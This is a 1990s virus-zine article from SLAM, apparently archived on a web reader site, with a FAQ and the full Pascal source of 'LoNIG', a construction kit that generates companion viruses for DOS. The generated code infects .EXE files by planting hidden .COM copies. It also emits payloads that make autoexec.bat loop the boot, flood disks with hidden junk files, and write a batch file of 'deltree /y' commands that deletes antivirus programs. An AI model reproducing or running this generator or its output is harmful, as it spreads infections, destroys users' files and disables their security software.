Copy Link
Add to Bookmark
Report

SLAM3.012: Source code of the INVASION GENERATOR - LoNIG by LoN [SLAM]

eZine's profile picture
Published in 
Slam
 · 2 years ago

LoNIG - Lord of nAvAn's INVASION GENERATOR - FAQ & Source code
v. 1.0 / 1997
Coder : Lord of nAvAn [SLAM]

1. How do I start LoNIG?

Enter 'lonig' at the dos prompt. (without the quotations ) Then you'll be asked to enter a name for your virii. Enter a name without a number at the first place ( avoid ‰,ˆ,¸, -, ^,...). Anyway, the best are only normal letters. Then there won't be any problems. The extension '.pas' will automatically attached therefore DO NOT enter '.pas' !!!

2. How do I activate the payloads available in this program?

If you are able to see the difference between capital and non-capital letters you'll notice that some letters are non-capital. For example if you want to choose the option tEXT you must enter a 't'. (again without the quotations ;)).

3. How do I get the executable virii?

Such a question! You must compile & link it!! You don't know how? That's bad... ;) Well, let's dig in: Start Pascal, load the virii and compile it! Such a trivial question will not be discussed any longer. If you don't mange this it's rather embarrassing, I must say! ;-) (BTW: embarrassing for you not for me!! ;-))

4. Can the .pas phile be dangerous in any way, too ?

Wanna fool me? Nope!! It's just a text phile!

5. Will there be any updates?

Maybe, I don't know, yet! If I have some ideas which are suitable for LoNIG: yes!

6. Who is responsible for my virii?

DISCLAIMER: I AM NOT RESPONSIBLE IN ANY WAY!!! WITH THE USE OF LoNIG you accept that ONLY YOU are responsible for any damage on your or on other boards!!! Thus: Never yell at me if something has happened!

7. Sometimes there is a phile called cfg.pcv in the LoNIG directory. What should I do?

Well, it's a config phile to save your payloads for the virii you are creating at the moment. Actually, should you see this phile you must delete it to ensure that no errors will occur when you create your next virii.

So, that's all folks... Stay tuned! SLAM #4 will be available soon!

  • Lord of nAvAn [SLAM]
  • Pascal vx guy / sysadmin

Greetings fly to: all SLAMers, b0z0, cicatrix, Neophyte, VB and all others !
You are all so super!! I wish you all the BEST!!! Good luck 4ever and I hope to meet ya all on the 'net again!

Here is the source code:

~~~~~~~~~~~~~~~~~~~~~~~~ 
Program LoNIG; {Lord of nAvAn's INVASION GENERATOR}
{v.1.0 / 1997}
Uses dos, crt;

Var answer:char;
name,vname:string;
virii, cfg_prog :text; {cfg_prog: needed for the payloads}
text:string;
path:pathstr;

Procedure screen; {shows the prog title and the coder}
Begin
Clrscr;
writeln;
textbackground(cyan);
textcolor(lightcyan);
writeln('------------------ LoNIG - Lord of nAvAn''s INVASION GENERATOR ------------------');
textbackground(black);
textcolor(lightred);
writeln(' Coded by: Lord of nAvAn [SLAM]');
textcolor(green);
writeln(' (C) 1997 / v.1.0 ');
writeln;writeln;writeln;
textcolor(cyan);
textbackground(magenta);
end;

Procedure inet; {writes where you can get LoNIG}
Begin
Clrscr;
gotoxy(26,2);
textbackground(yellow);
textcolor(lightred);
writeln('Places where to get it');
textbackground(0);
writeln;
writeln;
writeln('http://www.ilf.net/NJoker/LoNIG.zip');
writeln;
writeln('Also in SLAM #3 :) ');
readln;
end;

procedure get_phile; {get a phile name for the virii}
Var path :string;
Begin
textcolor(lightcyan);
write('Enter the virii name: ');
textcolor(green);
readln(name);
vname:=name;
name:=name+'.pas'; {attach the extension PAS to the virii name}
path := FSearch(name,''); {is it already here?}
IF path = '' THEN
begin
assign(virii,name); {NO: create it}
rewrite(virii);
reset(virii);
append(virii);
end
ELSE
assign(virii,name); {YES: don't overwrite it--> append it}
reset(virii);
append(virii);
end;


Procedure write_to_phile; {used in many routines to avoid entering the virii name more often}
Var path :string;
begin
path := FSearch(name,'');
IF path = '' THEN
begin
assign(virii,name);
rewrite(virii);
reset(virii);
append(virii);
end
ELSE
assign(virii,name);
reset(virii);
append(virii);
end;

Procedure faq; {Frequently asked questionZ}
Begin
Clrscr;
textcolor(green+128);
textbackground(lightblue);
gotoxy(30,2);
writeln('FAQ to LoNIG:');
textcolor(lightmagenta);
textbackground(0);
writeln;
writeln('What is LoNIG?');
writeln;
textcolor(green);
writeln('LoNIG is a tool to create virii without knowing any programming language,');
writeln('that means especially 4 lamers. ;)');
writeln('You can choose between various payload functionZ, e.g. invasion, retro, text');
writeln('display, looping the boot process of the compy, fake the autoexec.bat.');
textcolor(lightmagenta);
writeln;
writeln('How many lines does the prog have?');
writeln;
textcolor(green);
writeln('Around 700 lines. Coded in PURE Pascal, of coz...');
writeln;
textcolor(lightmagenta);
writeln('There is sometimes a compilation error (''Ø;Æ missing''). What'' wrong?');
writeln;
textcolor(green);
writeln('You entered a text containing a ''. If you''d like the virii display a '' you must enter ''''.');
writeln('Furthermore you mustn''t enter a number without a letter before it!');
writeln('Also avoid ''Ñ,Å,î'' for the name!');
readln;
end;

Procedure greetingZ; {greetingZ fly to my friends... :-) }
Begin
Clrscr;
gotoxy(1,2);
textcolor(lightred);
textbackground(10);
writeln(' GreetingZ fly to (in alphabetic order) : ');
textbackground(0);
writeln;
textcolor(green+128);
writeln(' ALL WHO KNOW ME!!!');
textcolor(lightmagenta);
writeln(' cicatrix -==-GREAT VDAT-==- Continue it!!');
writeln(' Neophyte -==-Still waiting for your mail!-==- Email me, plz!!');
writeln(' NJ [SLAM] -==-Never let our contact break up -==- Always mail me!!');
writeln(' ALL SLAMers of coz -==- SLAM forever!!!!!!!!!!!!!!!!!!!!!!!!!!!-==- COOL');
writeln('Virby -==- Hello VB! -==- I wish you good luck forever!! Please email me again!');
readln;
end;

Procedure fake_autoexec; {endless booting process}
Var path:pathstr;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'fake_autoexec;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'fake_autoexec;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('FAKE AUTOEXEC');
textbackground(0);
writeln;
textcolor(cyan);
writeln('Endless looping process by booting the compy.');
write_to_phile;
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'Procedure fake_autoexec;');
writeln(virii,'Var ph:text;phile:string;');
writeln(virii,'Begin');
writeln(virii,'phile:=''c:\autoexec.bat'';');
writeln(virii,'assign(ph,phile);');
writeln(virii,'append(ph);');
writeln(virii,'writeln(ph,''c:\autoexec'');');
writeln(virii,'close(ph);');
writeln(virii,'end;');
writeln(virii,'{loops the boot process}');
close(virii);
writeln('OK!');
delay(400);
textbackground(black);
end;

Procedure invasion; {generates lots of hidden garbage philes}
Var inv_nr : longint;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'invasion;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'invasion;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('INVASION');
write_to_phile;
writeln;
textbackground(0);
write('Enter the number of the philes the virii should create :');
readln(inv_nr);
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'Procedure invasion;');
writeln(virii,'Var n:integer; name:string; f:text;');
writeln(virii,'Begin');
writeln(virii,'For n:= 1 to ',inv_nr,' do begin');
writeln(virii,'randomize;');
writeln(virii,'name:=chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65);');
writeln(virii,'name:=name+chr(random(10)+65);');
writeln(virii,'assign(f,name);');
writeln(virii,'rewrite(f);');
writeln(virii,'reset(f);');
writeln(virii,'append(f);');
writeln(virii,'writeln(f,''INVASION CAUSED BY Artificial Life'');');
writeln(virii,'close(f);');
writeln(virii,'setfattr(f,hidden);');
writeln(virii,'end;');
writeln(virii,'end;');
writeln(virii,'{generates ',inv_nr,' hidden garbage philes}');
close(virii);
writeln('OK!');
delay(400);
textbackground(black);
end;

Procedure retro; {kills known and future AV progs}
Var av:string;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'retro;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'retro;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('RETRO');
writeln;
write_to_phile;
textbackground(0);
write('Enter the name of the AV-prog you want to kill: ');
textbackground(0);
textcolor(lightgreen);
textbackground(black);
readln(av);
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'Procedure retro;');
writeln(virii,'Var hb, autoexec:text;');
writeln(virii,'Begin');
writeln(virii,'assign(hb,''c:\ˇ.bat''); {now let''s make the ASCII255.BAT}');
writeln(virii,'rewrite(hb);');
writeln(virii,'append(hb);');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y ',av,'*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y antiv*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y av*.*'');');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'writeln(hb,''deltree /y fp*.*'');');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'writeln(hb,''deltree /y fprot*.*'');');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'writeln(hb,''deltree /y f-prot*.* '');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y scan*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y suspi*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y drsol*.*'');');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y tbav*.*''); ');
writeln(virii,'writeln(hb,''@echo off'');');
writeln(virii,'writeln(hb,''deltree /y mcaf*.*''); ');
writeln(virii,'writeln(hb,''@echo off''); ');
writeln(virii,'{A messy for the next boot process...}');
writeln(virii,'writeln(hb,''echo No Av-PrOg WiLl ExIsT iN fUtUrE!!!'');');
writeln(virii,'writeln(hb,''echo Brought to you by the giant [SLAM] vx group'');');
writeln(virii,'writeln(hb,''pause'');');
writeln(virii,'close(hb); ');
writeln(virii,'assign(autoexec,''c:\autoexec.bat''); {prepare autoexec.bat...}');
writeln(virii,'reset(autoexec);');
writeln(virii,'append(autoexec);');
writeln(virii,'writeln(autoexec,''ˇ'');');
writeln(virii,'close(autoexec);');
writeln(virii,'end;');
close(virii);
writeln('OK!');
delay(400);
end;


Procedure all_virii; {infection routine}
Begin
write_to_phile; {write to the user''s phile}
writeln(virii,'{-------------------- This virus was created by LoNIG ------------------------ }');
writeln(virii,'{Lord of nAvAn''s INVASION GENERATOR was written 4 educational purposes only ! }');
writeln(virii,'{Having this auto-generated virus on your computer you accept that YOU (--> }');
writeln(virii,'{and ONLY you) are responsible for your actions with that virus!!!If you do }');
writeln(virii,'{NOT accept this you must delete it. But anyway, don''t yell at *me* if your }');
writeln(virii,'{philes are damaged. Actually, I''m NOT responsible for ANY troubles caused }');
writeln(virii,'{by LoNIG!}');
writeln(virii,'{----------------------------------------------------------------------------- }');
writeln(virii,'Program ',vname,';');
writeln(virii,'Uses Dos,Crt;');
writeln(virii,'');
writeln(virii,'{$M 59999,0,8000}');
writeln(virii,'Var Inf,Inf2:Searchrec; {Used in the EXE and phile_exist routines }');
writeln(virii,' Infected:Boolean; {Is a phile infected? }');
writeln(virii,' Params:Byte; {Loop Index for adding all parameters together }');
writeln(virii,' All_Parameters:String; {This string contains the whole list of parameters');
writeln(virii,' originally passed to the program }');
writeln(virii,' P:PathStr; {Used}');
writeln(virii,' D:DirStr; {in} ');
writeln(virii,' N:NameStr; {the}');
writeln(virii,' E:ExtStr; {FSplit procedure.}');
writeln(virii,'Procedure Check_Infected(Path:String);');
writeln(virii,'Begin');
writeln(virii,' FSplit(Inf.Name,D,N,E);');
writeln(virii,' FindFirst(Path+N+''.COM'',Anyfile,Inf2);');
writeln(virii,' Infected:=(DosError=0);');
writeln(virii,'End;');
writeln(virii,'Procedure CopyFile(SourceFile, TargetFile:string);');
writeln(virii,'var');
writeln(virii,' Source,');
writeln(virii,' Target : file;');
writeln(virii,' BRead,');
writeln(virii,' Bwrite : word;');
writeln(virii,' FileBuf : array[1..2048] of char;');
writeln(virii,'Begin ');
writeln(virii,' Assign(Source,SourceFile); ');
writeln(virii,' SetFattr(Source,$20); {Set the phile attributes of the}');
writeln(virii,' {hidden COM companion we''re going}');
writeln(virii,' {to be copying to archive so that}');
writeln(virii,' {it''s possible read it. }');
writeln(virii,' {$I-}');
writeln(virii,' Reset(Source,1);');
writeln(virii,' {$I+}');
writeln(virii,' If IOResult <> 0 then');
writeln(virii,' Begin ');
writeln(virii,' Exit; {Couldn''t open the source phile! }');
writeln(virii,' End; ');
writeln(virii,' Assign(Target,TargetFile); ');
writeln(virii,' {$I-} ');
writeln(virii,' Rewrite(Target,1); ');
writeln(virii,' {$I+}');
writeln(virii,' If IOResult <> 0 then');
writeln(virii,' Begin ');
writeln(virii,' Exit; {Couldn''t open the target phile! }');
writeln(virii,' End; ');
writeln(virii,' Repeat ');
writeln(virii,' BlockRead(Source,FileBuf,SizeOf(FileBuf),BRead); ');
writeln(virii,' ');
writeln(virii,' BlockWrite(Target,FileBuf,Bread,Bwrite);');
writeln(virii,' Until (Bread = 0) or (Bread <> BWrite); ');
writeln(virii,' Close(Source); ');
writeln(virii,' Close(Target); ');
writeln(virii,' SetFattr(Source,3); {Set companion attribute to hidden}');
writeln(virii,' SetFattr(Target,3); ');
writeln(virii,'End;{CopyFile} ');
writeln(virii,'Procedure Find_Infect(Path:String); ');
writeln(virii,'{Find and Infect!} ');
writeln(virii,'Begin ');
writeln(virii,' FindFirst(Path+''*.EXE'',AnyFile,Inf); {Check for .EXEs to infect! }');
writeln(virii,' While DosError=0 Do Begin ');
writeln(virii,' Infected:=False; ');
writeln(virii,' Check_Infected(Path); { Check if the .EXE found is already infected. }');
writeln(virii,' If Not Infected then Begin');
writeln(virii,' CopyFile(ParamStr(0),Path+N+''.COM'');');
writeln(virii,' End; ');
writeln(virii,' FindNext(Inf);');
writeln(virii,' End;');
writeln(virii,'End;{Find_Infect}');
close(virii);
end;


Procedure text_display; {displays the text the user entered}
Var path:pathstr;
Begin
path := FSearch('cfg.pcv',GetEnv(Path)); {write into the config that we}
IF path = '' THEN {have a text in the virii}
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'display;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'display;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
writeln('TEXT');
write_to_phile;
textbackground(0);
writeln;
writeln('Enter the text the virus should display (< 70 chars) :');
textcolor(lightgreen);
textbackground(black);
readln(text);
textcolor(lightcyan);
write('Your text: ');
textcolor(green);
writeln(text);
textcolor(red);
writeln('>>> writing code to ',name); {and write it to the virii}
writeln(virii,'');
writeln(virii,'Procedure display;');
writeln(virii,'Var text:string;');
writeln(virii,'Begin');
writeln(virii,'Clrscr;');
writeln(virii,'randomize;');
writeln(virii,'textcolor(random(10)+2);');
writeln(virii,'text:=''',text,''';');
writeln(virii,'writeln(text);');
writeln(virii,'readln;');
writeln(virii,'end;');
writeln(virii,'{displays the text Ø',text,'Æ}');
writeln(virii,'');
close(virii);
writeln('OK!');
delay(400);
end;

Procedure beep; {let the compy beep - good for CMOS failure sims}
Var num, freq, dels, delp: integer;
Begin
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv'); {write to the cfg that we have a beep}
rewrite(cfg_prog); {routine in the virii}
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'beep;');
close(cfg_prog);
end
ELSE
begin
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'beep;');
close(cfg_prog);
end;
writeln;
writeln;
screen;
write_to_phile;
writeln('Beeper');
textbackground(0);
writeln;
write('Enter how often the compy should beep : ');
textbackground(0);
readln(num);
write('Enter the frequency : ');
readln(freq);
write('Enter the delay value : ');
readln(dels);
write('Enter the delay value of the pause between the beeps: ');
readln(delp);
textcolor(red);
writeln('>>> writing code to ',name);
writeln(virii,'');
writeln(virii,'Procedure beep;');
writeln(virii,'Var beep:integer;');
writeln(virii,'Begin');
writeln(virii,'For beep:=1 to ',num,' do begin');
writeln(virii,'sound(',freq,');');
writeln(virii,'delay(',dels,');');
writeln(virii,'nosound;');
writeln(virii,'delay(',delp,');');
writeln(virii,'end;');
writeln(virii,'nosound;');
writeln(virii,'end;');
writeln(virii,'{lets the compy beep ',num,'times }');
writeln(virii,'');
close(virii);
writeln('OK!');
delay(400);
end;

Procedure finish; {all virii need this code to replicate}
Var path : pathstr;
str : string;
begin
write_to_phile;
writeln(virii,'{--------------------------------------------}');
writeln(virii,'Begin');
close(virii);
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
assign(virii,name);
reset(virii);
While NOT eof(cfg_prog) DO {we write all the routine calls to the virii}
begin {the calls are saved in the temporary phile cfg.pcv}
readln(cfg_prog,str);
append(virii);
writeln(virii,str);
end;
writeln(virii,' Find_Infect(''C:\DOS\''); ');
writeln(virii,' Find_Infect(''C:\MSDOS\''); ');
writeln(virii,' Find_Infect(''''); ');
writeln(virii,' FSplit(ParamStr(0),D,N,E); ');
writeln(virii,' All_Parameters:=''''; {Vars must be initialized} ');
writeln(virii,' For Params:=1 To ParamCount ');
writeln(virii,' do All_Parameters:=All_Parameters+ParamStr(Params)+'' ''; ');
writeln(virii,' Exec(D+N+''.EXE'',All_Parameters); {Execute the phile that the user}');
close(virii);
close(cfg_prog);
assign(virii,name);
reset(virii);
append(virii);
writeln(virii,'End.');
close(virii);
erase(cfg_prog);
writeln('Finished! A new virii is sitting in your compy! Be nice to it!');
textcolor(lightblue);
write('Its name is: ');
textcolor(lightmagenta);
writeln(name);
readln;
end;

Procedure replicate; {only replicate ==> no payload}
Var path:pathstr;
Begin
{...}
path := FSearch('cfg.pcv',GetEnv(Path));
IF path = '' THEN
begin
assign(cfg_prog,'cfg.pcv');
rewrite(cfg_prog);
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'');
close(cfg_prog);
end
ELSE
begin
textcolor(red);
writeln('>>> writing code to ',name);
assign(cfg_prog,'cfg.pcv');
reset(cfg_prog);
append(cfg_prog);
writeln(cfg_prog,'');
close(cfg_prog);
writeln('OK!');
delay(400);
end;
end;


Procedure main;
begin
While answer<>'x' do
begin
Clrscr;
writeln;
textbackground(cyan);
textcolor(lightcyan);
writeln('------------------ LoNIG - Lord of nAvAn''s INVASION GENERATOR ------------------');
textbackground(black);
textcolor(lightred);
writeln(' Coded by: Lord of nAvAn [SLAM]');
textcolor(green);
writeln(' (C) 1997 / v.1.0 ');
writeln;writeln;writeln;
textcolor(lightcyan);
textbackground(magenta);
writeln('You are about to create a Companion Pascal Virii!');
writeln;
textbackground(black);
textcolor(lightmagenta);
writeln('Choose of the following payload functions: ');
writeln('--------------------------------------------------------------------------------');
textcolor(green);
writeln(' - tEXT --- rETRO --- fAKE AUTOEXEC --- bEEP --- oNLY REPLICATE --- iNVASION - ');
writeln('--------------------------------------------------------------------------------');
textcolor(3);
writeln(' gREETINGZ -- FAq -- PLAcES WHERE TO GET IT -- ExIT ');
textcolor(lightmagenta);
writeln('--------------------------------------------------------------------------------');
gotoxy(24,20);
textcolor(lightcyan);
textbackground(red);
writeln('F I N I s H T H E V I R I I');
textbackground(0);
readln(answer);
Case answer of
't':text_display;
'f':fake_autoexec;
'g':greetingZ;
'q':faq;
'r':retro;
's':finish;
'c':inet;
'b':beep;
'i':invasion;
'o':replicate;
end;
end;
end;

Procedure start_up;
Var answer:char;
begin
Clrscr;
writeln;
textbackground(cyan);
textcolor(lightcyan);
writeln('------------------ LoNIG - Lord of nAvAn''s INVASION GENERATOR ------------------');
textbackground(black);
textcolor(lightred);
writeln(' Coded by: Lord of nAvAn [SLAM]');
textcolor(green);
writeln(' (C) 1997 / v.1.0 ');
writeln;writeln;writeln;
textcolor(lightred);
writeln('Disclaimer:');
writeln;
textcolor(lightred+128);
writeln('You use this program at your own risk! I will N O T be liable');
writeln('in any way. I''m NOT responsible for any damage caused by LoNIG !');
writeln;writeln;
textcolor(yellow);
write('Do you accept this (y/n)? ');
textcolor(lightcyan);
readln(answer);
IF (answer='y') OR (answer='Y')
THEN
begin
main;
end
ELSE
exit;
end;


begin (* main prog LoNIG v.1.0 / 1997 *)
Clrscr;
get_phile;
all_virii;
start_up;
end. (* end of LoNIG v. 1.0 / 1997 *)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
6 Nov 2024
Thank you! I've corrected the date in the article. However, some websites list January 1980 as the date of death.

guest's profile picture
@guest
5 Nov 2024
Crespi died i april 1982, not january 1980.

guest's profile picture
@guest
4 Nov 2024
In 1955, the explorer Thor Heyerdahl managed to erect a Moai in eighteen days, with the help of twelve natives and using only logs and stone ...

guest's profile picture
@guest
4 Nov 2024
For what unknown reason did our distant ancestors dot much of the surface of the then-known lands with those large stones? Why are such cons ...

guest's profile picture
@guest
4 Nov 2024
The real pyramid mania exploded in 1830. A certain John Taylor, who had never visited them but relied on some measurements made by Colonel H ...

guest's profile picture
@guest
4 Nov 2024
Even with all the modern technologies available to us, structures like the Great Pyramid of Cheops could only be built today with immense di ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
2 Nov 2024
In Sardinia, there is a legend known as the Legend of Tirrenide. Thousands of years ago, there was a continent called Tirrenide. It was a l ...

guest's profile picture
@guest
2 Nov 2024
What is certain is that the first Greek geographer to clearly place the Pillars of Hercules at Gibraltar was Eratosthenes (who lived between ...

guest's profile picture
@guest
1 Nov 2024
Disquieting thc drinks has been quite the journey. As someone keen on unpretentious remedies, delving into the in every respect of hemp has ...

guest's profile picture
@guest
29 Oct 2024
hi Good day I am writing to inform you of recent developments that may impact our ongoing operations. This morning, global news outlets hav ...
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT